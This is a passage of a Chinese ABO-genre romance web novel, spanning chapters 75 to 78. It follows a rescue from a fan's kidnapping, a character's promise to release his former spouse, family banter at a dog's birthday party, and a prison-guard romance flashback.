挣扎着想要起身,结果似乎是碰到了后颈腺体,整个人触电般倒下, 蜷缩在一起。 嘴里还在念念有词:“贱人, 不可以这样, 不可以!!” 相召南斜睨了他一眼, 收回眼神,拇指摩挲了一下桑也的下唇, “咽下去了吗?我看看。” 说着, 他习以为常地钻进了桑也的口,拨开贝齿, 看进那洇红的软肉。 在口腔内搜寻两秒, 没有看见那白色的颗粒,才安下心来。 然而刚一抬眸, 对上桑也棕色的双目, 相召南忽地浑身一滞。 他越界了。 相召南僵着身体收回手,勉强笑了笑。 他不敢说抱歉,怕火上浇油, 让桑也病情更严重,但又不敢表现得理直气壮, 让自己岌岌可危的声名更加狼狈。 二人之间呈现出静默。 只有齐橘愤懑不已, 尖叫着要把相召南撕碎。 “相召南, 混蛋, 谁允许你碰他了, 你们Alpha都是魔鬼,恶魔,吃人不眨眼的臭虫!” 他单是骂相召南, 骂Alpha还不足够,骂到最后连桑也也不放过,一口一个“贱骨头”,“蠢货”。 相召南听见这些话的第一瞬间就把桑也的耳朵捂住了。 “你又是以什么样的立场来指责我们?”相召南压低眉头,“躲在电脑背后的阴湿老鼠,在人群中不敢抬头直视我的怂货,还是每天抱着ai图片意淫的蟑螂蝼蚁?” 听到最后一句,桑也稍稍皱了下眉,他身上没力气,连皱眉的幅度都很小。 齐橘被相召南一通点评降得面色铁青,似乎是默认了话里的身份,好半晌,才吐出一句:“我们、我们当然是爱他,才会那样做啊。” 他陷入了逻辑的怪圈,走不出来,越说越起劲,越义正言辞。 “我们要是不爱他,怎么可能天天关注他,比在乎自己还在乎他?为了他的事业,他的成就,在网上活跃,提供热度,难道我们做的这一切爱他的证明吗?!” 桑也被捂着耳朵,大脑也不甚清晰,但模模糊糊能听懂齐橘说了什么,歪了歪头。 “要是真的爱他,就不会在论坛里说着污秽词语,低俗地臆想些不可能发生的事情,就不会毫不尊重他的人格,强迫他按照你的意愿做事情,更不会明知他有后遗症的情况下在这么大的雨天把他绑架到一个潮湿阴森的山洞,毫无心疼地让他饱受幻痛折磨!” “这就是你的爱吗?可笑!” 相召南语气森厉,每个字眼似乎都被他咬碎了才吐出来。 表面上,他字字句句对着齐橘,只有他清楚,每一句话同样都是对自己过往不堪行径的剖解。 同样让他心如刀绞。 越是看清了齐橘,越是看清了自己。 原来自己和齐橘,和论坛里那些强加意愿到桑也身上的老鼠。 别无两样。 齐橘浑身战栗,他谎言的外衣被轻轻一挑就破裂了,再也掩盖不了他肮脏的内心,残忍的欲望。 “那你呢!你又高尚得到哪里去吗?别忘了,相召南,桑也最初的痛苦都是你带来的!你就是个灾星,给桑也招来了无数的苦难困厄,你有什么资格评判我们?” “难道害得桑也失去了腺体,失去了孩子的人是我们吗?难道害得桑也失去了亲人,失去了在国内幸福生活机会的人是我们吗?啊?!是你,是你,是相召南!” 齐橘整个人呈现出癫狂的精神状态,连腺体上的疼痛也能够忍耐,强行蠕动着站了起来,用被束缚的双手指着相召南。 指着罪魁祸首。 他脸上神色似笑非笑,背对着洞穴口,投下一道长长的阴影,恍若地府判官,宣判着相召南的极恶。 桑也明显感觉到捂着自己耳朵的手力道有些失控地加重了些,但只有短暂地一瞬间,很快就松懈了,从他耳畔滑落,掉到他的肩上和腰间。 那手颤着,仿佛听闻什么极大的噩耗。 “我知道……”相召南心脏痛得他快要说不出话来,他给桑也带来了无数的灾厄,尽管那非他所愿,但事实如此,他辩解不得。 每次提及,都令他痛恨不已,痛桑也一腔孤勇却被他辜负,恨自己将爱的游戏玩到了失败结局。 “我知道,我都知道!”相召南的语气逐渐加重,既是承认自己的所作所为,又是责难自己天煞孤星不配享有真挚感情。 “所以——” 他艰难地吐出两个字,剩下的话却像是堵住了他的喉咙,半晌都说不出口。 “所以呢?所以什么?”齐橘笑着逼问他,“所以你们Alpha就可以用一句对不起我知道错了抹灭所做的一切吗?!” “不……” 桑也坐在相召南怀里,单薄的背明显感受到身后人剧烈的震颤,仿佛连灵魂都在叹息。 “所以,我要放手了。”相召南深深闭上眼,和心中邪祟作斗,拼尽全力才得以开口。 如果他的弥补,他的挽留,他的哀求,给桑也带来的只有更难以挽回的伤害,那么…… “桑也,我还你自由。” 声音喑哑低糜,带着无尽的痛与决绝。 宛如一颗细小的春花,在雨中飘飘摇摇,被风推着,被雨打着,被鸟衔着,最后落在一块泥地,变得肮脏,沾满污秽,泥泞不堪,但不再漫无目的地寻找着。 风沙将它掩埋,此后再无滟色。 齐橘瞬间愣住了。 两秒钟后,他爆发出大笑,在空荡的洞穴里显得阴森鬼魅。 “没想到,到最后,没能得到的承诺,竟然从相大总裁口中说了出来。” 话音未落,齐橘神色一凛,死死盯着相召南,“你最好说话算数!” …… 相召南不敢承认自己犯过的错。 尽管在他知晓桑也的应激障碍之前,将抱歉挂在口边。 但他从来不敢正视自己荒唐的过去。 那个令他费解的,荒诞无度的,在外人眼里名利皆收只有自己清楚他一无所有的过去。 成为他心里难以化解的鱼刺。 从他接到桑守安的电话,一直到在春城深山里像个无头苍蝇一样寻找,关于他的过错,关于孩子的怀疑,一直深埋在他内心,像火炙烤着他。 人心总是会骗人。 骗自己。 相召南眼前闪过无数画面,像老式的电视机,黑白雪花的画面,断断续续全损的音质,如同呈堂罪证,宣告着他的罪行。 下过雨的山路很难走。 又滑,又粘腻。 一脚踩进去,像是陷进了泥沼,杵着拐杖的相召南比常人更加难以行走。 但他不敢有所停留,不敢慢下来责怪糟糕的天气,恶劣的山路,张牙舞爪阻拦他的枝桠。 只一味地寻找。 从双腿漫上来的痛觉成了清醒剂,助燃剂,乃至兴奋剂,让他在近十个小时的寻找中,既无畏惧,也无休憩。 唯一让他害怕的,是这次没有全力以赴导致的悲剧。 他已经错过了太多。 这次不能再留遗憾。 即使废掉他的双腿,也再所不惜。 漫长的道路,一刻未停的雨,让他的寻找化为朝圣。 听见老大的犬吠,被老大带领着找到桑也时,他兴奋,甚至有种终于被眷顾的激越。 但当齐橘毫不留情地揭露他的残忍,点破他的虚妄,戳穿他自以为是的自导自演。 脑海里不断盘桓着桑也所说,这场独角戏,他被压得喘不过气。 相召南无比地清楚。 桑也所经受的最大苦难,源自于他。 而非齐橘。 他何来勇气指责齐橘? 他批判齐橘爱得虚假,又何尝不是批判自己,装模作样? 那些糟糕的,难以启齿的,伤人心的话语词汇,其实该用在他自己身上才是。 老鼠是他,怂货是他,蟑螂蝼蚁也是他。 桑也用血供养他,他却给人带来无尽苦楚。 在这场勇气角逐中,把真正有爱的人驱赶出局。 他才是那个趴在桑也身上吸血挥之不去的臭虫! 为什么桑也忍耐了三年,毫无怨言? 是因为桑也看出了他的言不由衷,听懂了他的言外之意吗? 是因为桑也发现了他长满玻璃的外壳下脆弱的躯壳吗?是因为桑也感受到了他质问下的恐慌和畏惧吗? 是因为桑也和他一样,复杂,拧巴,别扭,自相矛盾吗? 相召南总在以己度人,桑也从未欲拒还迎,真正欲拒还迎的是他,是相召南自己,是他在越是推拒越是渴求。 相召南知道,桑也还爱他,也恨他,所以不愿意放手。 他仗着那点零星爱意,胡作非为。 桑也呢? 那时的桑也肯定看见了希望,才一直舍不得放手,和他一样吧。 爱不需要理由,恨才要。 爱只需要一丁点希望,一丁点可能,一个眼神,一次停顿,就能让一个人赌上所有的勇气。 相召南那样一个糟糕的人,却被懂得。 而正是桑也懂得。 才逃脱不得。 爱是勇气的游戏。 但他把桑也的勇气消磨殆尽了。 最后,爱他成了最大的污点。 相召南的手攥得越来越紧,直到手心渗出血,让他感受到温热的粘腻,才恍然清醒。 他该放手了。 他该像个正常人一样,放过桑也了。 可是。 可是啊。 如果他放手,他会变得和正常人一样吗? 等他放了手,即使再像正常人,又有什么用呢。 他永远地失去了桑也。 相召南闭上眼,眼前一片黑暗。 纵使内心再多纠结,除了放手,别无选择。 可能那张被撕碎的离婚证就是最好的结局。 而后抽丝剥茧的挽留皆是空花阳焰。 再多纠缠都别无意义。 “无事牌里的粉末,是他吗?” 只有一个想要得到答案的问题。 最后一个。 桑也想了想他说的是什么,才低头一笑,“你知道了。” 啪嗒一声。 桑也轻轻动了下头。 他问:“漏水了吗?” 漆黑一片的洞穴里,齐橘露出诡笑,嘲讽而低蔑。 相召南抬手,抹去不该有的脆弱,覆住双目。 “外套口袋里有餐巾纸。”相召南喃喃。 桑也逐渐恢复力气,虽然因为幻痛,仍旧难以站起来,但能够使出翻兜的力气。 他探手到口袋里,却触及一叠硬硬的纸片,指尖擦过,他瞬间明白了那是什么。 相片。 桑也没有动作,僵僵地保持着这个动作。 相召南也后知后觉明白了过来。 他轻声道:“以后不会了。” 相召南伸手到夹克外套的口袋里,擦过桑也的手背,夹住手纸将它取出。 拆开手纸塑料包装,发出窸窸窣窣的碎声,抽出干净的纸张,展开,为桑也头顶抹去水渍。 他轻柔地沾着发丝上的水渍,用平生未有的柔和音色作出承诺:“桑也,我还你自由。” “不会再让人调查你的消息,不会整天看着你的照片,不会隔三岔五出现在你的面前,更不会借着公司事务强迫你做你不想做的事情。” “从今往后,你再也不用顾虑,如何才能不招来祸端。” 桑也静静地听着。 丰密的睫羽颤了一下,像雨中的蝴蝶被重重的雨滴砸到了翅膀。 “当真?” 语气平缓,细品之下又似乎有着按捺不住的欣喜。 相召南恨不得没有品出那一抹愉悦,但又不得不承认,他的离开对桑也而言是一件值得庆祝的喜事。 只能沉重地点头,用下巴去靠近桑也的发丝,汲取一点点承认的力气。 “当真。” 他说。 似乎是怕桑也不相信,他拉着桑也的手,抚上自己的心口,压在那鼓鼓跳动的心脏上,以作证明。 桑也说不清现在的感受。 好像一切的爱与恨在这一刻都得到了解脱。 他的恐惧,也得以消解。 桑也努力转了下身体,正面面向相召南。 贴在相召南心口的手开始想让挪移,从锁骨,爬到下颌骨,再爬到那双狭长眼眸之下。 “怎么突然想要放手了。”桑也问他。 相召南望着他,望着那双平静的棕眸,犹豫不决,最后还是顺从内心,吐露了真心。 “心疼你。”只有三个字,他却说得极其缓慢,仿佛预支了未来的力量,才得以启齿。 桑也闷闷地笑着,胸腔鼓动。 拇指指尖抵着相召南下眼睑,深深用力,掐出一个月牙印记。 相召南一声不吭,仍是那副望着他的模样。 即使是伤害,也是分别前的奖励,他尽数接受。 桑也再无力气,跌坐了回去。 “还疼吗?我帮你揉揉吧,你大哥找来还需要一点时间。” 桑也歪头看着他,不知道在想什么,半晌,点了一下头。 相召南小心翼翼地用掌腹给桑也微微凹陷的腺体做活血按摩。 手脚安分,别无他意。 这一刻,洞外的雨声变得清脆悦耳,氛围和谐得仿佛二人之间从未有过龃龉。 但相召南清楚,这一份和谐,来自于再无可能。 越风平浪静,越痛。 齐橘冷眼看着洞口二人,又想出言咒骂,转念一想,这平静来自于那份承诺,算不得桑也背叛他们。 便不了了之。 相召南给桑也按了近一个小时,直到遥远的地方传来嘹亮的一声犬吠,他才停了手,将桑也穿着的外套拢紧,检查扣子全部扣好。 “说句话吧。” 他小声地说,怕桑也听见,又怕桑也听不见。 桑也没理他。 “说句吧。”他哀求。 “不想说。”桑也偏过头。 “说吧,说吧……” “有病。” “嗯。” 相召南摁下手机的暂停录制键,仔细地把它保存好。 这是在没有信号的山洞里,他唯一能做出的努力。 十一点半,老大带着桑守安一行人闯进了山洞。 一脸担忧的桑守安急匆匆地把桑也从相召南怀里带走,打横抱起,瞪了相召南一眼,才转身离开。 紧随其后的警察则是把齐橘铐了起来,压着他离开了山洞。 只有楚方明,在洞口看了他几眼,等人都走了,才到洞穴里捡起两根拐杖,丢到相召南身边。 相召南道了声谢。 “你助理在后边。”楚方明丢下一句话,也转身离开了。 相召南即使拿着拐杖,也无力站起来。 他只是看着外面,摇摇晃晃的藤蔓之外,雨似乎停了。 桑守安笑着,桑也笑着,连齐橘也笑着。 只有他的世界下着雨。 不停歇。 第76章 从洞穴里出去后, 桑也被紧急送往了医院。 其实他身上的幻痛在吃过止痛药后慢慢得到缓和,没那么痛不欲生,但桑守安坚持让他去医院。 春城的医院不如S市的高级, 一间小小的病房, 挤进了一群人。 医生给桑也注射了一阵镇痛缓释剂, 又让一个康复科的医师来给桑也做全身按摩。 因为山洞温度低, 又下着雨,桑也的体温连带着也很低, 双手摸着冰凉瘆人, 鼻尖都冷红了。 桑守安去给他接了一杯热水,回来时发现楚方明正在给一个粉色兔子的热水袋插电。 “这哪来的?” “找护士借的。”楚方明的语气听着似乎对桑守安的问题有些无语。 老大在桑守安助理的清洗下终于把四只爪子上的泥洗干净了, 噔噔瞪地冲进病房, 将其他人撞得人仰马翻,自己鼻子还撞在床沿上。 来不及为自己的鼻子哀嚎, 便兴奋地绕着病床转圈圈, 观察桑也的状况。 尾巴摇得跟直升机的旋转桨似的。 这一打岔,也没人问热水袋的事了。 尽管老大横冲直撞的行为有些“野气”“粗俗”,显得没有教养, 但桑守安并未对一只狗过多苛责,反而有些欣慰, 隐隐感到了某种浅淡的安宁。 姥姥虽然走了, 却给耶耶留下了一个机灵活泼的保镖。 “这回, 老大可谓是立大功了。耶耶想好怎么奖励他了吗?” …… 数只眼睛齐刷刷盯着打火机。 那只白皙修长, 指甲修剪的圆润晶莹的手轻轻一用力, 摩擦轮转动,荧蓝的烟火从小小的黄铜打火机中钻出来,点燃蛋糕上蜡烛的引线。 “祝老大生日快乐!” 凌星率先开口, 其他人也前后对老大发起了祝贺。 五月十五日,天气升温。 忙得不可开交的新桑科技董事长,亲自督工实验一刻不离的副总,刚开完巡演还没歇息两天的歌手,和两个住家阿姨,齐聚海风府别墅,为立大功的老大庆祝四岁生日。 老大似乎能理解大家这是在做什么,也跟着汪汪叫,贴着所有人的小腿蹭。 桑也吹灭蜡烛,开始给大家分蛋糕。 凌星则负责拖着老大远离蛋糕,刚好这时桑守安把老大的罐头打开,老大一个神龙摆尾就对自己香喷喷的罐头发起了总攻。 桑也和凌星都爱吃甜食,桑守安虽然对甜腻腻的东西不太感冒,但为了不扫兴,也吃完了一整块。 阿姨们吃完就回房间休息,桑守安收到了什么信息,说还有工作要处理,也先到书房去远程办公了。 凌星抱着老大躺在沙发上,一手蹂躏一只毛乎乎耳朵。 “老大到底是什么品种?”凌星左看右看,都没看出个名堂。 桑也正在吃第三块蛋糕。 蛋糕是他亲自选购的草莓芒果千层,顶上没有摆放什么玩具,而是手工制作的裱花,像小时候姥姥会做的蛋糕,很合他心意。 “串串吧。”桑也咬着勺子,“黄土松和金毛?不确定是不是只有这两个品种,但应该有这两种。” “喔。”凌星若有所思,“难怪我总觉得老大的毛没有一般土狗那么短,又没有金毛那么长和顺滑,反而是蓬蓬的。真舒服,想一屁股坐死。” “老大一尾巴抽得你话都说不出来的可能性更高。” 话音刚落,两个受害者相视一眼,从对方的眼中看见了说不出口的痛,都笑得肩膀簌簌抖动。 笑完,凌星突然换了个话题,问: “那个齐橘……真的只判了一年?这也太轻松了吧。” 桑也眼眸间笑意逐渐收敛,点头应了一声。 因为没有给他造成身体上的伤害,后遗症引起的幻痛又无法作为鉴定证据,判一年都还是楚方明施压才得到的结果。 “不过,在楚哥手下,一年也不好过吧。” 说到楚方明,凌星瞬间来了兴致,把狗头往边上一推,整个人往前坐了坐,要不是屁股底下坐的是沙发,他恐怕还能把座椅往前搬两米。 “那个楚……楚方明,到底是什么来头?我还以为只是个小小狱警,听你的话感觉他来历不小啊。” 桑也放下蛋糕碟和勺子,端坐了起来。 “我之前查到的资料只说他是S市市监看板郎,也以为没什么来历。前段时间缠着我哥旁敲侧击才知道——” 桑也故意卖了个关子,“楚是执/政官那个楚。” 凌星眼睛本来就大,闻言更是瞪得跟一颗小时候爱玩的玻璃珠似的。 “那那那、那他怎么会在监狱里当狱警呢?” “他应该没什么心思从政,又被家里人压着要往这方面靠,就选了个监狱躲着。执/政官家里人可不少,才让他躲了这么些年。” 凌星也不知道怎么想的,突然嘿嘿一笑。 “我爸还说我不回去继承家业是不务正业,人家那么大的家业等着继承,不也这样?” 听得桑也都扶额了。 凌星笑完,又浮现出些担忧,“他家里这么厉害,那桑大哥跟他能成吗?不会被他家里嫌弃是商人吧?” “你那都是什么旧黄历了。”桑也吐槽,但也忧虑,“不过,他俩能不能到见家长的环节都不好说呢。” “我哥从出狱以来,一直没跟楚哥和好。” 他哥的终身大事真不好办。 “……他们之间发生了什么?” “说是大哥为了楚哥留在监狱不肯早点出狱让楚哥不高兴了。这么好奇,你给出个主意,看怎么解决?”桑也坐在沙发旁吧台的高脚椅上,晃悠晃悠双腿。 凌星立马摆手,“我都没谈过正经恋爱呢,我能有什么主意。” 桑也早就料到他会这样说,没指望他给什么建议。 但是…… “没谈过正经恋爱?那就是谈过不正经的了?”桑也微眯了眼眸,探究地看着凌星。 凌星不说话,只一味往后靠,还拉着老大当挡箭牌。 桑也冲他勾勾手指,抿唇浅笑。 好半晌,凌星从对峙中败下阵来,“哎呀呀”了两声,嘟嘟囔囔:“就你出国之后没多久,被叶修文逮着了。” “叶修文就是之前我跟你说过的那个在酒吧里被我骗了钱的倒霉蛋。” “我也没想到他这么有钱啊!” “刚好那段时间,你家里出了事,我爸非逼着我回家,我不肯,他把我卡全停了,连带着我接通告挣的钱都用不了!我一气之下——一气之下就答应了叶修文。” “少爷,你给自己找了个金主?”桑也扯了下嘴角。 凌星有些不好意思,挠了挠头,“我也不知道算不算,但他对我挺好的吧,平时给我洗衣服,帮我洗脚,给我做饭,也不摆什么金主架子,更不会玩那些什么□□游戏。” 桑也听他说洗衣做饭,立马就想到先前凌星说他买的那套房,难怪。 “他对你这么好,那你之前大早上跑我家里来又是什么情况?” 凌星嘴巴一撅,跟小猪似的。 “Alpha就是这点不好,易!感!期!” “明明之前那么多次他都能忍,怎么上一次就忍不了了?痛死我了,从早到晚,都没给我一点休息时间,我又疼又气,第三天早上爬起来就跑路了。” 桑也敏锐地捕捉到一个细节,他问:“你们上次是第一回连结?” 凌星点头。 桑也低头笑了两下,才感慨:“那他挺能忍的。” 本来说到这个话题,凌星就脸色羞赧,再被桑也揶揄一下,脸更是爆红,把头埋进老大蓬松的背毛里,哼唧:“不说这个了好不好耶耶。我们给桑大哥想想办法怎么跟楚方明复合吧?” “那你说有什么办法。” 凌星说给桑守安想办法本来就是缓兵之计,一时之间他哪里说得出什么可行的主意。 “唔——不如我们戴上头套,把楚方明绑架到一个小黑屋,然后让桑大哥来英雄救美,怎么样?” “……先把洋柿子小说卸载了。” “……” “还是先去问问大哥怎么想的吧。他们最近似乎没什么联系?”桑也边说,边从高脚凳上下来,“还不确定大哥有没有和好的想法。” “我去听个墙角。” 凌星噌地站起来,跟上,走了两步又回头把老大按在地上,冲它做了个噤声地动作。 “你走路声音太大了,不准跟上来。” 说完就追上桑也。 但老大没听他的话,还是跟在二人后面。 家里都是实木地板,老大的爪子在地上不免发出哒哒的声音。 的确有些大声了。 桑也顿步回头,摸了摸老大的头,凑到它耳边,拎起大大的耳廓,“你落脚的时候小声些,可以吗?” 老大这回照做了吗。 给凌星气得嘴歪眼斜,凭什么不听他的? 桑也拍了拍他的头,开解他:“平日里多读书。” 凌星不解,但只能跟上桑也。 “三年这个时间刚好够耶耶分居时长,你不必总把我迟迟不出狱这件事情的缘由揽在自己身上。” “……我不明白,我在哪里,在里面在外面究竟对你造成什么影响了,为什么你一直对这件事耿耿于怀?” “方明?……方明!” 随后是手机撂在桌上的声音。 桑也对凌星做口型,用气声说话:“被挂电话了。” “我听出来了。”凌星也用气声回复。 “谁在外面?”书房内突然传出桑守安的质问。 两人一狗还没来得及躲闪,就眼睁睁看着书房红衫木的房门由内打开,露出了桑守安。 而桑守安的视野里,则是随着房门大开,桑也的头,凌星的头,还有老大的狗头,三颗脑袋齐刷刷挂在门框上。 再来根杆就能串一串糖葫芦了。 桑守安揉了揉额角,“你们这是……?” 第77章 桑守安从看守所移交S市市监狱那天, 万里无云。 他从警车下来,是两个中年警官接手的他。 第一件事是去找监狱里的理发师剪了个寸头,随后去接受入狱教育。 但刚走进新囚犯接受教育的会议室, 两名警官就收到监狱内有人打架的消息, 处理紧急事故去了。 或许是考虑到桑守安是经济罪犯, 没什么伤害性, 临时叫了个年纪不大的新警官来。 那警官就是楚方明。 但桑守安彼时并不知道他的姓名,只记住了他的编号。 S-912。 S-912推门而入, 没有开灯的会议室光线并不明朗, 只有S-912背后有一束外面的光。 他身形挺拔颀长,紧身的黑色执勤服勾勒出肩臂腰身, 警帽压得很低, 帽檐投下的阴影让人看不清他的双目。 左胸口佩戴者软质警号,腰间束有一根警棍, 左手持着一份《入狱守则》。 关上门, 长腿一迈,从容走到桑守安面前,守则放在桌上, 被他用指腹轻巧地推给桑守安。 “……总而言之,保持低调, 勿生事端, 与人和睦, 避免冲突。遵守规章, 服从管理, 洗心革面,积极改造,争取早日回归社会。” 他的声音很好听, 不急不徐,用停顿营造出威压,仔细听来有种隐隐的压迫和疏离,但又不会让人觉得反感。 给桑守安讲完守则内容后,由另一个狱警带桑守安去自己的宿舍报道。 桑守安先跟在S-912身后,目光落在对方若隐若现的后颈和平直的肩上。 临近拐弯分道时,他突兀地出声:“警官。” S-912没有搭理他。 反倒是身边另一个负责带他去宿舍的狱警胳膊肘撞了一下他,压低声音:“你小子找打呢。” 自从Omega狱警S-912进了S市市监,监狱里蠢蠢欲动的囚犯可不少,试图对他动手动脚的有一个算一个,全都被丢去紧闭,一个月起步。 这个桑守安看着人挺老实,没待一会就暴露了本性。 胆子挺大。 狱警咋舌。 没成想他的好心提醒并未被人放在心上,只见新进的囚犯突然喊出了某位狱警的编号。 “S912。” S-912长腿一顿,两秒后,转身,右手握上警棍。 “说。” “以后还能见到你么?” 平心而论,桑守安绝不是什么轻浮的人,但此时此刻,他想,如果不问,可能就没机会了。 S-912眼眸里闪过一丝厌恶,“你要是被打死了,我肯定会在。” “我姓楚,你可以叫我楚警官。” 撂下这一句,径直朝着远离宿舍的方向走去,和另外几个狱警刚好碰上。 那几个狱警勾肩搭背,喜笑颜开,S-912虽然和他们走成一排,但浑身气质泾渭分明。 一语成谶—— 桑守安果然被打了。 他们也果然又见面了。 说是被打,其实不太准确,更精准的表述是互殴。 桑守安一打三,打得不可开交,并未落了下风。 身处高位,总要学点防身术以防万一。 直到S-912赶来,抽出腰间警棍,一人抽了两棍,把那三个找事的囚犯抽得在地上打滚,才停手。 桑守安三棍。 但桑守安并没有像另外三人那样痛得弯腰勾背说不出话。 被带进禁闭室后没一会,监狱的医生拎着医药箱来上药。 S-912靠在禁闭室门框上,双手抱臂,冷眼看着。 桑守安嘴角挨了一拳,破了皮,医生给他消毒时,桑守安倒吸了一口凉气。 目光却紧锁在S-912身上。 他看见S-912几不可闻地皱了下眉。 很快的一瞬间,好在桑守安看见了。 “楚警官手下留情,不会因为有私心被市监处罚吧?” S-912蔑了他一眼,“别得了便宜还卖乖。” 桑守安摸了摸自己不知道有没有一厘米长的寸头,挑了下眉。 “我能问下为什么吗?” S-912:“什么为什么。” “为什么……放水。”说到“放水”二字,桑守安骤然放低了音量,似乎在为楚警官保守什么秘密。 S-912反问:“我放水了?” “当然没有,是我理解错了。楚警官只是刚好抽到我的时候手上没力了,绝对不是故意不小心的。” “我听见了。” “就是说给你听的,有什么听见听不见的。” 桑守安以为S-912说的是“故意不小心”那一番言论。 没想到S-912却说:“你和他们打架前说的话,我在监控室,听见了。” 桑守安一愕。 桑守安不是惹是生非的人。 尽管S-912说他要是被打了,自己会出现,这也不足以让桑守安冒着风险去找事打架。 和那三个人打起来,纯粹是因为那三人嘴贱。 挑事那三人是地痞流氓,一个□□Omega入狱,两个放火打砸进来的,臭味相投混在了一起。 按理说,接受了监狱里的道德教育,都应该知道自己不是什么好人,结果对上“犯经济罪”的桑守安,竟然善心大发,要为买到烂尾房的可怜人制裁不良房地产商,代替无数穷苦人民惩治他这个资本家。 说得大义凌然,义正言辞。 然后就被桑守安戳破了。 桑守安入狱这几天,在食堂偶尔听其他囚犯闲聊,聊到过不少监狱里的犯人,关于他们是怎么进来的,性格怎么样,哪些能惹那些惹不起,有时话题也会拐到狱警身上,可惜桑守安听了这么几天,都没听到有人聊到S-912。 那三个挑事的信息,也是这时候听见的。 “先不论桑氏从来没有过烂尾的事迹,就算是有,你们又有什么资格当这个圣人?” “凭你们只敢恃强凌弱对Omega下手的胆量,还是心术不正偷奸耍滑无恶不作的战绩?” “监狱里那几个杀人犯怎么不见你这么有善心地去惩处一下觉得我一没杀人二没放火就是个软柿子好拿捏?” 桑守安在商场上历炼出来的口才和气质绝非几个地痞流氓可以比较的。 旁边有些被这几个恶霸欺压许久的囚犯暗自捏紧了拳,对桑守安的一番话颇为认同。 领头那个□□犯嘴巴一歪,挥起拳头就朝桑守安砸过来,被桑守安掌心抵住。 四目相对之际,桑守安嗤笑一声:“仗着一身横肉对Omega动手动脚,你不会以为自己是勇士吧?挥刀向更弱者的——” “懦夫。” 那人气急了,回头冲另外二人大叫:“愣着干什么,给我揍他!” 于是就打起来了。 监狱里有些人作恶是主观性的,有些人作恶却是被动的,比如防卫过当,这类人自然地分成了两派。 但显然,前者武力更强,后者又不是会惹事的性子,一直以来都是前者处于占优势。 围观的囚犯有人想要上来帮忙,拉偏架,又被身边其他囚犯按住,“你也想被丁老大揍一顿吗?” 犹豫片刻,才悻悻缩了回去,又觉得良心不安,跑去叫了狱警来。 事情的前因后果就是这样。 桑守安没想到原来S-912一直在监控里观察他们。 “说得挺好。”S-912似乎吝于夸奖,只吐出四个字。 桑守安默然,半晌道:“我有个弟弟,以前也是Omega。” 算是解释自己一个Alpha为什么能理解Omega的处境。 还不知道耶耶在M国能不能适应。 他从小和家里人生活在一起,就没有离家这么久过,哪怕是和相召南结了婚,也是请了阿姨照顾的。 现在却要一个人去M国打拼。 气氛到这里,有些冷寂,他扯了扯涂上棕褐色药水的嘴角,揶揄S-912。 “楚警官你可真残忍,嘴上夸着,却在监控里看着我挨了这么久的打,嘶……” 他用指腹擦了擦唇角的伤,盯着指尖的药水,似乎有些神伤。 桑守安在监狱外从不会做这种出格的举动。 无论是在S-912离开时叫住他,还是在上药时暗暗地怪S-912来得不够及时。 都不是他一贯的作风。 冷静自持,淡漠自若,处变不惊,遇到任何困难都包揽在自己身上,绝不会让身边人知晓。 这才是他。 但自从进了监狱,他的本性好像逐渐解脱出来,战胜了他多年来培养的理性。 或许,当肩上一切重担都被卸下,他也该为自己争取些什么。 “三分钟,从你们动手,到我到达现场,最多三分钟。”S-912深吸了一口气,咬牙道。 桑守安不语,只看着指尖的药水。 S-912面色铁青:“你想怎么样?” “听说楚警官负责草莓地劳作,把我调过去,帮楚警官种草莓如何?” “你……行。” S-912说完直接转身走人。 听了全部内容的医生,对上桑守安似笑非笑的神情,疯狂眨着眼睛,“我什么都没听见。” 等医生给他处理完伤口,收拾医药箱准备离开时,桑守安叫住他:“医生,你知道楚警官全名是什么吗?” 医生回想了下,“楚方明,方正的方,明朗的明。” 桑守安往冰冷的铁架床床头一靠,“楚方明……” “然后呢?你俩就在草莓地眉来眼去一来二往搞上了?” 凌星迫不及待问。 “然后呢?你被关了多久的紧闭?出去之后在监狱当上老大没?” 桑也紧随其后。 “汪,汪汪!” 老大不甘示弱。 桑守安坐在书桌前,不忍直视面前这二人一狗。 “你们真是……”他摇摇头,觉得好笑,又为弟弟庆幸。 弟弟虽然朋友不多,但也有凌星这样一个从小玩到大的好友,从小就爱凑到一块玩。 两个小只的Omega往沙发上一坐,就跟两株向日葵举着大大的花托紧紧挨在一起似的。 后来二人吵着要去搞一个赛车俱乐部,桑守安不支持,也把二人都骂了一顿,但显然没能阻止这两个小家伙,只能随他们去了。 再后来他俩一个进了娱乐圈,一个因为信息素依赖症早早结了婚,从原本的活泼小太阳变成了连绵的阴雨天。 但好在,上次的绑架案回来之后,耶耶重新变得明媚。 开始和凌星一起嬉笑玩闹,二十几岁了,却像个十几岁的孩子。 湿漉漉的梅雨终于从他的世界消失,干燥净爽的晴日如约而至。 “然后,”桑守安顿了顿,有意勾起二人的兴趣,“被他发现了我和耶耶的通信。” 他和桑也的信件来往是不合规的,频次和进出检查都没达到监狱的要求,这一点桑家兄弟二人都心知肚明。 被狱警楚方明发现了? 桑也和凌星互相看了一眼。 第78章 草莓地不大, 需要的囚犯就两个,一个负责上午,一个负责下午, 交错值班。 桑守安被安排在上午。 早上七点, 他就得在草莓地报道。 抵达时, 楚方明已经在棚子外面候着, 倚靠在棚子的支架上,自然下垂的手上捏着两本册子。 他把两本册子丢到桑守安身上, 刚好被接住。 “里面的东西自己回去看, 今天先——施肥。” 桑守安看了一眼,《农作物种植手册》《草莓种植注意事项》。 没等他把巴掌大的小册子放进口袋, 就闻见一股浓郁的气息。 他挡了挡脸, “什么东西?” 楚方明屏息,把桶盖揭开后快步走远, 朝桑守安说:“你的工作对象。” 并不大的草莓棚子瞬间被这股气味充斥了个遍, 无处可逃。 桑守安很想深呼吸几口来压下想要脱口而出的粗口,但又怕一深呼吸,难闻的气体直接把他臭晕过去。 不上不下的。 “你故意的?” “是你主动请缨要来的。刚好到施肥而已。”楚方明揭开棚布, 从棚内出去。 肥料桶边上的浇水勺又格外小,一次性只能舀起一针管分量的肥料, 小小的一块草莓地, 桑守安硬是浇了一个多小时。 浇个几分钟, 他就得到棚子外面交换下新鲜空气。 好在每次出来, 楚方明都在外面看桑守安暂时托付给他保管的手册, 稍微能让他感到一点慰藉。 好不容易结束,楚方明用手册掩着鼻子,进来检查, 没走到底,楚方明转身:“算你今天的劳动过关了。” 桑守安走在他身后,避让不及,一个后退,一脚踩进了草莓地里。 一簇草莓芽倒下,一滩肥料溅了起来,一只制服鞋荣誉牺牲。 二人均看向那混乱之地。 桑守安无可奈何地仰了仰,面如死灰。 本来浇人工肥这种事情就是他平生第一回,辛苦完成后竟然一脚踩了进去,这绝对是前所未有的体验,把他表面矜持全剥了的体验。 楚方明抬了抬手,“抱歉,回去洗个澡吧。” 